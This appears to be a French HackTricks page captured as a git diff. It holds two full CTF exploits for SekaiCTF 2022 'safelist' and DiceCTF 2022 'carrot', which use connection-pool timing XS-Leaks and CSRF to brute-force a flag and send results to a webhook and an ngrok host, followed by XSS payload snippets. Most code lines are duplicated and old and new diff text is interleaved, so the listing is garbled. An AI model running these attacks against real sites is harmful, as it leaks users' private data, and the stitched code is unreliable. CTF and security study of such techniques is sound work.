console.log(id, payload);
navigator.sendBeacon(WEBHOOK + "?" + id, payload);
}
// Similar to JQuery
const $ = document.querySelector.bind(document);
// Similar to JQuery
const $ = document.querySelector.bind(document);
// Known part of the flag
const known = "SEKAI{";
let alphabet = "_abcdefghijklmnopqrstuvwxyz}";
// Known part of the flag
const known = "SEKAI{";
let alphabet = "_abcdefghijklmnopqrstuvwxyz}";
// Reduce the alphabet using a hash (#) in the URL
if (location.hash) {
alphabet = alphabet.slice(alphabet.indexOf(location.hash.slice(1)));
}
// Reduce the alphabet using a hash (#) in the URL
if (location.hash) {
alphabet = alphabet.slice(alphabet.indexOf(location.hash.slice(1)));
}
// Funtion to leak chars
const leak = async (c) => {
// Prepare post with known flag and the new char
let payload = `${known + c}`;
// Inject as many <img as possible
// you need to respect the CSP and create URLs that are different
for(let i = 0; payload.length < 2048; i++) {
payload += `<img src=js/purify.js?${i.toString(36)}>`;
}
// Funtion to leak chars
const leak = async (c) => {
// Prepare post with known flag and the new char
let payload = `${known + c}`;
// Inject as many <img as possible
// you need to respect the CSP and create URLs that are different
for(let i = 0; payload.length < 2048; i++) {
payload += `<img src=js/purify.js?${i.toString(36)}>`;
}
// Inject HTML
$("#create input[type=text]").value = payload;
$("#create").submit();
await new Promise(r => setTimeout(r, 1000));
// Inject HTML
$("#create input[type=text]").value = payload;
$("#create").submit();
await new Promise(r => setTimeout(r, 1000));
// Remove post with index 0
$("#remove").submit();
await new Promise(r => setTimeout(r, 500));
// Remove post with index 0
$("#remove").submit();
await new Promise(r => setTimeout(r, 500));
let deltas = [];
let deltas = [];
// Try each char 3 times
for (let i = 0; i < 3; i++) {
const SOCKET_LIMIT = 255;
// you will need a custom server that works like num.sleepserver.com/sleep/delay
// needed to freeze the blocked sockets, and they have to all be on different origins
// Check https://www.npmjs.com/package/sleep-server using subdomains DNS wildcard
const SLEEP_SERVER = i => `http://${i}.sleepserver.com/sleep/60`;
// Try each char 3 times
for (let i = 0; i < 3; i++) {
const SOCKET_LIMIT = 255;
// you will need a custom server that works like num.sleepserver.com/sleep/delay
// needed to freeze the blocked sockets, and they have to all be on different origins
// Check https://www.npmjs.com/package/sleep-server using subdomains DNS wildcard
const SLEEP_SERVER = i => `http://${i}.sleepserver.com/sleep/60`;
const block = async (i, controller) => {
try {
return fetch(SLEEP_SERVER(i), { mode: "no-cors", signal: controller.signal });
}
catch(err) {}
};
const block = async (i, controller) => {
try {
return fetch(SLEEP_SERVER(i), { mode: "no-cors", signal: controller.signal });
}
catch(err) {}
};
// block SOCKET_LIMIT sockets
const controller = new AbortController();
for (let i = 0; i < SOCKET_LIMIT; i++) {
block(i, controller);
}
// block SOCKET_LIMIT sockets
const controller = new AbortController();
for (let i = 0; i < SOCKET_LIMIT; i++) {
block(i, controller);
}
// Make the bot access the page with the posts
window.open("https://safelist.ctf.sekai.team/?" + Math.random().toString(36).slice(2), "pwn");
await new Promise(r => setTimeout(r, 500));
// Make the bot access the page with the posts
window.open("https://safelist.ctf.sekai.team/?" + Math.random().toString(36).slice(2), "pwn");
await new Promise(r => setTimeout(r, 500));
// start meassuring time to perform 5 requests
let start = performance.now();
await Promise.all([
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" })
]);
let delta = performance.now() - start;
document.title = delta;
controller.abort();
// start meassuring time to perform 5 requests
let start = performance.now();
await Promise.all([
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" })
]);
let delta = performance.now() - start;
document.title = delta;
controller.abort();
log("test_" + c + "_" + i, delta);
log("test_" + c + "_" + i, delta);
// Save time needed
deltas.push(delta);
}
return deltas;
};
// Save time needed
deltas.push(delta);
}
return deltas;
};
// Check each char
const pwn = async () => {
// Try to leak each character
for(let i = 0; i < alphabet.length; i++) {
//Check the indicated char
let deltas = await leak(alphabet[i]);
// Check each char
const pwn = async () => {
// Try to leak each character
for(let i = 0; i < alphabet.length; i++) {
//Check the indicated char
let deltas = await leak(alphabet[i]);
// Calculate mean time from requests to example.com
let avg = deltas.reduce((a,v) => a+v, 0) / deltas.length;
// Calculate mean time from requests to example.com
let avg = deltas.reduce((a,v) => a+v, 0) / deltas.length;
// If greater than 250, the HTML code was injected (flag in index 0)
if (avg > 250) {
log("tests_pos_" + alphabet[i], deltas)
}
// Flag in the page
else {
log("tests_neg_" + alphabet[i], deltas)
}
}
};
// If greater than 250, the HTML code was injected (flag in index 0)
if (avg > 250) {
log("tests_pos_" + alphabet[i], deltas)
}
// Flag in the page
else {
log("tests_neg_" + alphabet[i], deltas)
}
}
};
window.onload = async () => {
pwn();
};
window.onload = async () => {
pwn();
};
</script>
```
### Exploitation 2
### Exploit 2
Même tactique mais code différent provenant de [https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/](https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/)
Même tactique mais code différent de [https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/](https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/)
```html
<!DOCTYPE html>
<html>
<!--
The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs main thread.
If images are loading, the request to "/" is slower, otherwise faster.
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
We can use fetch to measure the request time.
The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs main thread.
If images are loading, the request to "/" is slower, otherwise faster.
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
We can use fetch to measure the request time.
-->
<body>
<button onclick="run()">start</button>
<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
<input id=inp name="text" value="">
</form>
<button onclick="run()">start</button>
<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
<input id=inp name="text" value="">
</form>
<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
<input id=inp2 name="index" value="">
</form>
<script>
let flag = 'SEKAI{'
const TARGET = 'https://safelist.ctf.sekai.team'
f.action = TARGET + '/create'
f2.action = TARGET + '/remove'
<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
<input id=inp2 name="index" value="">
</form>
<script>
let flag = 'SEKAI{'
const TARGET = 'https://safelist.ctf.sekai.team'
f.action = TARGET + '/create'
f2.action = TARGET + '/remove'
const sleep = ms => new Promise(r => setTimeout(r, ms))
const send = data => fetch('http://server.ngrok.io?d='+data)
const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')
const sleep = ms => new Promise(r => setTimeout(r, ms))
const send = data => fetch('http://server.ngrok.io?d='+data)
const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')
// start exploit
let count = 0
setTimeout(async () => {
let L = 0
let R = charset.length - 1
while( (R-L)>3 ) {
let M = Math.floor((L + R) / 2)
let c = charset[M]
send('try_' + flag + c)
const found = await testChar(flag + c)
if (found) {
L = M
} else {
R = M - 1
}
}
// start exploit
let count = 0
setTimeout(async () => {
let L = 0
let R = charset.length - 1
while( (R-L)>3 ) {
let M = Math.floor((L + R) / 2)
let c = charset[M]
send('try_' + flag + c)
const found = await testChar(flag + c)
if (found) {
L = M
} else {
R = M - 1
}
}
// fallback to linear since I am not familiar with binary search lol
for(let i=R; i>=L; i--) {
let c = charset[i]
send('try_' + flag + c)
const found = await testChar(flag + c)
if (found) {
send('found: '+ flag+c)
flag += c
break
}
}
// fallback to linear since I am not familiar with binary search lol
for(let i=R; i>=L; i--) {
let c = charset[i]
send('try_' + flag + c)
const found = await testChar(flag + c)
if (found) {
send('found: '+ flag+c)
flag += c
break
}
}
}, 0)
}, 0)
async function testChar(str) {
return new Promise(resolve => {
/*
For 3350, you need to test it on your local to get this number.
The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.
*/
inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()
async function testChar(str) {
return new Promise(resolve => {
/*
For 3350, you need to test it on your local to get this number.
The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.
*/
inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()
setTimeout(() => {
run(str, resolve)
}, 500)
})
}
setTimeout(() => {
run(str, resolve)
}, 500)
})
}
async function run(str, resolve) {
// if the request is not enough, we can send more by opening more window
for(let i=1; i<=5;i++) {
window.open(TARGET)
}
async function run(str, resolve) {
// if the request is not enough, we can send more by opening more window
for(let i=1; i<=5;i++) {
window.open(TARGET)
}
let t = 0
const round = 30
setTimeout(async () => {
for(let i=0; i<round; i++) {
let s = performance.now()
await fetch(TARGET + '/?test', {
mode: 'no-cors'
}).catch(err=>1)
let end = performance.now()
t += end - s
console.log(end - s)
}
const avg = t/round
send(str + "," + t + "," + "avg:" + avg)
let t = 0
const round = 30
setTimeout(async () => {
for(let i=0; i<round; i++) {
let s = performance.now()
await fetch(TARGET + '/?test', {
mode: 'no-cors'
}).catch(err=>1)
let end = performance.now()
t += end - s
console.log(end - s)
}
const avg = t/round
send(str + "," + t + "," + "avg:" + avg)
/*
I get this threshold(1000ms) by trying multiple times on remote admin bot
for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
*/
const isFound = (t >= 1000)
if (isFound) {
inp2.value = "0"
} else {
inp2.value = "1"
}
/*
I get this threshold(1000ms) by trying multiple times on remote admin bot
for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
*/
const isFound = (t >= 1000)
if (isFound) {
inp2.value = "0"
} else {
inp2.value = "1"
}
// remember to delete the post to not break our leak oracle
f2.submit()
setTimeout(() => {
resolve(isFound)
}, 200)
}, 200)
}
// remember to delete the post to not break our leak oracle
f2.submit()
setTimeout(() => {
resolve(isFound)
}, 200)
}, 200)
}
</script>
</script>
</body>
</html>
```
## DiceCTF 2022 - carrot
Dans ce cas, la première étape de l'exploit consistait à exploiter une CSRF pour modifier la page où se trouve le drapeau de manière à ce qu'elle contienne **beaucoup plus de contenu** (et donc le chargement prend plus de temps), puis **exploiter le pool de connexions pour mesurer le temps nécessaire pour accéder à la page** qui pourrait potentiellement contenir le drapeau.
Dans l'exploit, vous pouvez voir :
* Exploiter la CSRF
* Occuper toutes les sockets sauf une
* Calibrer la réponse
* Commencer le bruteforce en accédant à la page potentielle avec le drapeau
* La page potentielle sera accédée et immédiatement une URL contrôlée par les attaquants sera également accédée pour vérifier le temps que prennent les deux requêtes.
```html
<h1>DiceCTF 2022 web/carrot</h1>
<p>Step 1: CSRF the admin user, to set a super long title for the flag note (LAX + POST form only possible for 2 minutes after cookies is created)</p>
<button onclick="csrf()">do csrf</button>
<p>Step 2: XS-Search with <a href="https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/">connection-pool timing leak</a>, we have to use window.open (LAX cookie)</p>
<button onclick="popunder()">open popup</button>
<button onclick="exhaust_sockets()">open 255 connections</button>
<button onclick="oracle('dice{abc')">test search "abc" (slow)</button>
<button onclick="oracle('dice{xxx')">test search "xxx" (fast)</button>
<br>
<br>
<h2 id=output></h2>
<br>
<form id=x action="" method="POST" style="display:none;">
<input type="text" name="title" placeholder="title">
<br><br>
<input type="number" name="priority" placeholder="priority" value=9999>
<br><br>
<textarea name="content" placeholder="content" rows="5" cols="20"></textarea>
<br><br>
<input type="submit" value="submit">
</form>
<script>
// this is send is used as logging
LOG = 'Starting'
// 255 in normal chrome, 99 in headless
SOCKETLIMIT = 255;
// default
TIMELIMIT = 800;
INSTANCE = ''
MYSERVER = `example.com`
const sleep = (ms) => {
return new Promise(resolve => {
setTimeout(resolve, ms);
});
}
const time_fetch = async() => {
let test_server_url = `https://${MYSERVER}/?${LOG}`;
let start = window.performance.now();
try {
await fetch(test_server_url, {
mode: 'no-cors'
});
} catch (e) {
console.log(e);
}
let end = window.performance.now();
return end - start;
}
const fetch_sleep_long = (i) => {
// 40s sleep
return fetch(`https://${i}.${MYSERVER}/40sleep`, {
mode: 'no-cors'
});
}
const fetch_sleep_short = (i) => {
// 0.25s sleep
return fetch(`https://${i}.${MYSERVER}/ssleep`, {
mode: 'no-cors'
});
}
const block_socket = async (i) => {
fetch_sleep_long(i);
// needed?
await sleep(0);
}
const exhaust_sockets = async() => {
let i = 0
for (; i < SOCKETLIMIT; i++) {
block_socket(i);
}
console.log(`Used ${i} connections`);
}
const timeit = async (url, popup) => {
return new Promise(async (r) => {
popup.location = url;
// needed?
await sleep(50)
let val = await time_fetch()
r(val)
});
}
// const alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-}!"#$%&\'()*+,-./:;<=>?@[\\]^`|~{'.split('');
const alphabet = 'abcdefghijklmnopqrstuvwxyz}_'.split('');
// const alphabet = 'abcdef}'.split('');
const oracle = async (search) => {
let url = `https://carrot-${INSTANCE}.mc.ax/tasks?search=${search}`
let t = await timeit(url, WINBG)
LOG = `${search}:${t}`
console.log(`${search}:${t}`)
return t > TIMELIMIT
}
const brute = async (flag) => {
for (const char of alphabet) {
if (await oracle(flag + char)) {
return char;
}
}
return false;
}
const calibrate = async () => {
return new Promise(async (r) => {
// slow
let url1 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=dice{`
let t1 = await timeit(url1, WINBG)
console.log(`slow:${t1}`)
// fast
let url2 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=XXXXXXXXXX`
let t2 = await timeit(url2, WINBG)
console.log(`fast:${t2}`)
return r((t1 + t2) / 2)
});
}
const exploit = async(flag = '') => {
console.log('Starting')
// dont go to fast plz :)
console.log(`waiting 3s`)
await sleep(3000)
// exaust sockets
await exhaust_sockets()
await sleep(2000)
LOG = `Calibrating`
TIMELIMIT = await calibrate()
LOG = `TIMELIMIT:${TIMELIMIT}`
console.log(`timelimit:${TIMELIMIT}`)
await sleep(2000)
let last;
while (true) {
last = await brute(flag);
if (last === false) {
return flag;
}
else {
flag += last;
output.innerText = flag;
if(last === '}'){
return flag
}
}
}
}
const popunder = () => {
if (window.opener) {
WINBG = window.opener
}
else {
WINBG = window.open(location.href, target="_blank")
location = `about:blank`
}
}
const csrf = async () => {
x.action = `https://carrot-${INSTANCE}.mc.ax/edit/0`
x.title.value = "A".repeat(1000000)
x.submit()
}
window.onload = () => {
let p = new URL(location).searchParams;
if(!p.has('i')){
console.log(`no INSTANCE`)
return
}
INSTANCE = p.get('i')
// step 1
if(p.has('csrf')){
csrf()
return
}
// step 2
if (p.has('exploit')) {
// window open is ok in headless :)
popunder()
exploit('dice{')
}
}
</script>
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live).
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -54,7 +54,7 @@ Lorsque vous essayez d'exploiter un XSS, la première chose que vous devez savoi
### HTML brut
Si votre entrée est **réfléchie sur la page HTML brute**, vous devrez abuser d'une **balise HTML** pour exécuter du code JS : `<img , <iframe , <svg , <script` ... ce ne sont que quelques-unes des nombreuses balises HTML possibles que vous pourriez utiliser.\
Gardez également à l'esprit [l'injection de modèle côté client](../client-side-template-injection-csti.md).
Gardez également à l'esprit l'[Injection de modèle côté client](../client-side-template-injection-csti.md).
### À l'intérieur de l'attribut des balises HTML
@ -137,13 +137,13 @@ Une bonne façon de savoir si quelque chose donné directement par l'utilisateur
![](<../../.gitbook/assets/image (651) (2).png>)
Dans le cas où cela est vulnérable, vous pourriez être en mesure de **déclencher une alerte** en envoyant simplement la valeur : **`?callback=alert(1)`**. Cependant, il est très courant que ces points d'extrémité **valident le contenu** pour n'autoriser que des lettres, des chiffres, des points et des traits de soulignement (**`[\w\._]`**).
Dans le cas où c'est vulnérable, vous pourriez être en mesure de **déclencher une alerte** en envoyant simplement la valeur : **`?callback=alert(1)`**. Cependant, il est très courant que ces points d'extrémité **valident le contenu** pour n'autoriser que des lettres, des chiffres, des points et des traits de soulignement (**`[\w\._]`**).
Cependant, même avec cette limitation, il est toujours possible d'effectuer certaines actions. Cela est possible car vous pouvez utiliser ces caractères valides pour **accéder à n'importe quel élément du DOM** :
Cependant, même avec cette limitation, il est toujours possible d'effectuer certaines actions. Cela est possible car vous pouvez utiliser ces caractères valides pour **accéder à n'importe quel élément dans le DOM** :
![](<../../.gitbook/assets/image (662).png>)
Certaines fonctions utiles pour cela :
Quelques fonctions utiles pour cela :
```
firstElementChild
lastElementChild
@ -151,11 +151,11 @@ nextElementSibiling
lastElementSibiling
parentElement
```
Vous pouvez également essayer de déclencher des fonctions JavaScript directement : `obj.sales.delOrders`.
Vous pouvez également essayer de **déclencher des fonctions Javascript** directement : `obj.sales.delOrders`.
Cependant, généralement les points d'extrémité exécutant la fonction indiquée sont des points d'extrémité sans beaucoup de DOM intéressant, d'autres pages dans la même origine auront un DOM plus intéressant pour effectuer davantage d'actions.
Cependant, généralement les points d'extrémité exécutant la fonction indiquée sont des points d'extrémité sans beaucoup de DOM intéressant, **d'autres pages dans la même origine** auront un **DOM plus intéressant** pour effectuer davantage d'actions.
Par conséquent, afin d'exploiter cette vulnérabilité dans un DOM différent, l'exploitation de la méthode d'exécution de même origine (SOME) a été développée :
Par conséquent, afin de **exploiter cette vulnérabilité dans un DOM différent**, l'exploitation de la **Same Origin Method Execution (SOME)** a été développée :
{% content-ref url="some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](some-same-origin-method-execution.md)
@ -163,16 +163,16 @@ Par conséquent, afin d'exploiter cette vulnérabilité dans un DOM différent,
### DOM
Il y a du code JS qui utilise de manière non sécurisée des données contrôlées par un attaquant, comme `location.href`. Un attaquant pourrait exploiter cela pour exécuter du code JS arbitraire.
Il y a du **code JS** qui utilise de manière **non sécurisée** des **données contrôlées par un attaquant** comme `location.href`. Un attaquant pourrait exploiter cela pour exécuter du code JS arbitraire.
{% content-ref url="dom-xss.md" %}
[dom-xss.md](dom-xss.md)
{% endcontent-ref %}
### XSS universel
### **Universal XSS**
Ce type de XSS peut être trouvé n'importe où. Ils ne dépendent pas seulement de l'exploitation côté client d'une application web, mais de n'importe quel contexte. Ce type d'exécution arbitraire de JavaScript peut même être utilisé pour obtenir une exécution de code à distance (RCE), lire des fichiers arbitraires sur les clients et les serveurs, et plus encore.\
Quelques exemples :
Ce type de XSS peut être trouvé **partout**. Ils ne dépendent pas seulement de l'exploitation côté client d'une application web, mais de **n'importe quel** **contexte**. Ce type d'exécution de **JavaScript arbitraire** peut même être utilisé pour obtenir une **RCE**, **lire** des **fichiers arbitraires** sur les clients et les serveurs, et plus encore.\
Quelques **exemples** :
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
@ -182,16 +182,15 @@ Quelques exemples :
[xss-to-rce-electron-desktop-apps](../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/)
{% endcontent-ref %}
## Contournement du pare-feu applicatif web (WAF) en encodant une image
## Contournement du WAF en encodant une image
![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](../../.gitbook/assets/eaubb2ex0aerank.jpg)
## Injection dans du HTML brut
## Injection à l'intérieur du HTML brut
Lorsque votre entrée est réfléchie à l'intérieur de la page HTML ou que vous pouvez échapper et injecter du code HTML dans ce contexte, la première chose à faire est de vérifier si vous pouvez utiliser `<` pour créer de nouvelles balises : essayez simplement de réfléchir ce caractère et vérifiez s'il est encodé en HTML ou supprimé, ou s'il est réfléchi sans modifications. Dans le dernier cas seulement, vous pourrez exploiter ce cas.\
Pour ces cas, gardez également à l'esprit l'injection de modèles côté client (Client Side Template Injection).
_Remarque : Un commentaire HTML peut être fermé en utilisant `-->` ou `--!>`._
Lorsque votre entrée est réfléchie **à l'intérieur de la page HTML** ou que vous pouvez échapper et injecter du code HTML dans ce contexte, la **première** chose à faire est de vérifier si vous pouvez utiliser `<` pour créer de nouvelles balises : Essayez simplement de **réfléchir** ce **caractère** et vérifiez s'il est **encodé en HTML** ou **supprimé** ou s'il est **réfléchi sans modifications**. **Seulement dans le dernier cas, vous pourrez exploiter ce cas**.\
Pour ces cas, gardez également à l'esprit [**l'injection de modèle côté client**](../client-side-template-injection-csti.md)**.**\
_**Note : Un commentaire HTML peut être fermé en utilisant**** ****`-->`**** ****ou**** ****`--!>`**_
Dans ce cas, et si aucune liste noire/liste blanche n'est utilisée, vous pouvez utiliser des charges utiles telles que :
```javascript
@ -285,13 +284,13 @@ Si pour exploiter la vulnérabilité, vous avez besoin que l'utilisateur clique
### Impossible - Balisage suspendu
Si vous pensez simplement qu'il est impossible de créer une balise HTML avec un attribut pour exécuter du code JS, vous devriez vérifier **le balisage suspendu** car vous pourriez exploiter la vulnérabilité sans exécuter de code JS.
Si vous pensez simplement qu'il est impossible de créer une balise HTML avec un attribut pour exécuter du code JS, vous devriez vérifier le **balisage suspendu** car vous pourriez exploiter la vulnérabilité sans exécuter de code JS.
## Injection à l'intérieur de la balise HTML
### À l'intérieur de la balise/échappement de la valeur de l'attribut
Si vous êtes à l'intérieur d'une balise HTML, la première chose que vous pourriez essayer est de vous échapper de la balise et d'utiliser certaines des techniques mentionnées dans la [section précédente](./#injecting-inside-raw-html) pour exécuter du code JS.\
Si vous êtes à l'intérieur d'une balise HTML, la première chose que vous pouvez essayer est de vous échapper de la balise et d'utiliser certaines des techniques mentionnées dans la [section précédente](./#injecting-inside-raw-html) pour exécuter du code JS.\
Si vous ne pouvez pas vous échapper de la balise, vous pouvez créer de nouveaux attributs à l'intérieur de la balise pour essayer d'exécuter du code JS, par exemple en utilisant une charge utile comme (_notez que dans cet exemple, les guillemets doubles sont utilisés pour échapper de l'attribut, vous n'en aurez pas besoin si votre entrée est directement reflétée à l'intérieur de la balise_):
```bash
" autofocus onfocus=alert(document.domain) x="
@ -301,11 +300,11 @@ Si vous ne pouvez pas vous échapper de la balise, vous pouvez créer de nouveau
Les événements de style sont une technique couramment utilisée dans les attaques de script entre sites (XSS) pour exécuter du code malveillant sur un site web. Cette technique exploite les vulnérabilités dans la façon dont le site web gère les entrées utilisateur et les affiche sur la page.
L'attaque XSS par événements de style consiste à injecter du code JavaScript dans les attributs de style d'un élément HTML. Lorsque le navigateur interprète le code, il exécute le script malveillant, ce qui permet à l'attaquant de voler des informations sensibles, de modifier le contenu de la page ou de rediriger l'utilisateur vers un site malveillant.
L'attaque XSS par événements de style consiste à injecter du code JavaScript dans les attributs de style d'un élément HTML. Lorsque le navigateur interprète le code, il exécute le script malveillant, ce qui peut entraîner des conséquences néfastes telles que le vol de données sensibles, la redirection vers des sites malveillants ou la modification du contenu de la page.
Pour se protéger contre les attaques XSS par événements de style, les développeurs doivent mettre en œuvre des mesures de sécurité telles que la validation et l'échappement des entrées utilisateur, l'utilisation de listes blanches pour les caractères autorisés, et l'utilisation de bibliothèques de sécurité telles que Content Security Policy (CSP) pour restreindre l'exécution de scripts non autorisés.
Pour se protéger contre les attaques XSS par événements de style, les développeurs doivent mettre en œuvre des mesures de sécurité telles que la validation et l'échappement des entrées utilisateur, l'utilisation de listes blanches pour les caractères autorisés, et l'utilisation de bibliothèques de sécurité telles que Content Security Policy (CSP) pour restreindre les sources de scripts autorisées.
Il est essentiel de sensibiliser les développeurs et les utilisateurs aux risques liés aux attaques XSS par événements de style et de mettre en place des pratiques de développement sécurisées pour réduire les vulnérabilités.
Il est essentiel de comprendre les techniques d'attaque XSS par événements de style afin de pouvoir les détecter et les prévenir lors de l'évaluation de la sécurité d'un site web. Les tests de pénétration et les audits de sécurité réguliers sont recommandés pour identifier et corriger les vulnérabilités XSS potentielles.
```python
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
@ -317,12 +316,12 @@ Il est essentiel de sensibiliser les développeurs et les utilisateurs aux risqu
```
### Dans l'attribut
Même si vous **ne pouvez pas échapper à l'attribut** (`"` est encodé ou supprimé), selon **quel attribut** votre valeur est reflétée, **si vous contrôlez toute la valeur ou seulement une partie**, vous pourrez l'exploiter. Par **exemple**, si vous contrôlez un événement tel que `onclick=`, vous pourrez le faire exécuter du code arbitraire lorsqu'il est cliqué.\
Même si vous **ne pouvez pas échapper à l'attribut** (`"` est encodé ou supprimé), selon **quel attribut** votre valeur est reflétée, **si vous contrôlez toute la valeur ou seulement une partie**, vous pourrez l'exploiter. Par **exemple**, si vous contrôlez un événement comme `onclick=`, vous pourrez exécuter du code arbitraire lorsqu'il est cliqué.\
Un autre **exemple** intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter du code arbitraire : **`href="javascript:alert(1)"`**
**Contournement à l'intérieur de l'événement en utilisant l'encodage HTML/l'encodage URL**
**Contourner l'événement en utilisant l'encodage HTML/l'encodage d'URL**
Les **caractères encodés en HTML** à l'intérieur de la valeur des attributs des balises HTML sont **décodés à l'exécution**. Par conséquent, quelque chose comme ce qui suit sera valide (la charge utile est en gras) : `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
Les caractères **encodés en HTML** à l'intérieur de la valeur des attributs des balises HTML sont **décodés à l'exécution**. Par conséquent, quelque chose comme ce qui suit sera valide (la charge utile est en gras) : `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
Notez que **tout type d'encodage HTML est valide** :
```javascript
@ -355,23 +354,23 @@ This technique involves bypassing client-side input validation by using Unicode
### Vulnerability
Cross-Site Scripting (XSS) vulnerabilities occur when user input is not properly sanitized and is rendered on a web page without proper encoding. This allows an attacker to inject malicious code that will be executed by the victim's browser.
Cross-Site Scripting (XSS) vulnerabilities occur when user input is not properly sanitized and is directly included in the output of a web application. This allows an attacker to inject malicious code that will be executed by the victim's browser.
### Exploitation
1. Identify a vulnerable input field where the application does not properly sanitize user input.
2. Craft a payload using Unicode encoding to bypass any filters or input validation mechanisms.
3. Inject the payload into the vulnerable input field.
4. Submit the form or trigger the event that will render the injected payload on the web page.
5. The payload will be executed by the victim's browser, allowing the attacker to perform various actions such as stealing sensitive information or performing unauthorized actions on behalf of the victim.
1. Identify a vulnerable input field or parameter in the web application.
2. Craft a payload using Unicode encoding to bypass any input filters or sanitization mechanisms.
3. Inject the payload into the vulnerable input field or parameter.
4. Trigger the execution of the payload by submitting the form or interacting with the affected element.
5. The injected code will be executed by the victim's browser, allowing the attacker to perform various actions, such as stealing sensitive information or performing unauthorized actions on behalf of the victim.
### Prevention
To prevent this type of attack, it is important to properly sanitize and validate all user input before rendering it on a web page. This can be done by implementing input validation mechanisms and using output encoding techniques to ensure that user input is properly encoded.
To prevent this type of attack, it is important to implement proper input validation and output encoding. Input validation should be performed on both the client and server sides to ensure that user input is properly sanitized. Output encoding should be used when displaying user-generated content to prevent any potential script execution.
---
**Contournement de l'événement interne en utilisant l'encodage Unicode**
**Contourner l'événement interne en utilisant l'encodage Unicode**
---
@ -381,19 +380,19 @@ Cette technique consiste à contourner la validation des entrées côté client
### Vulnérabilité
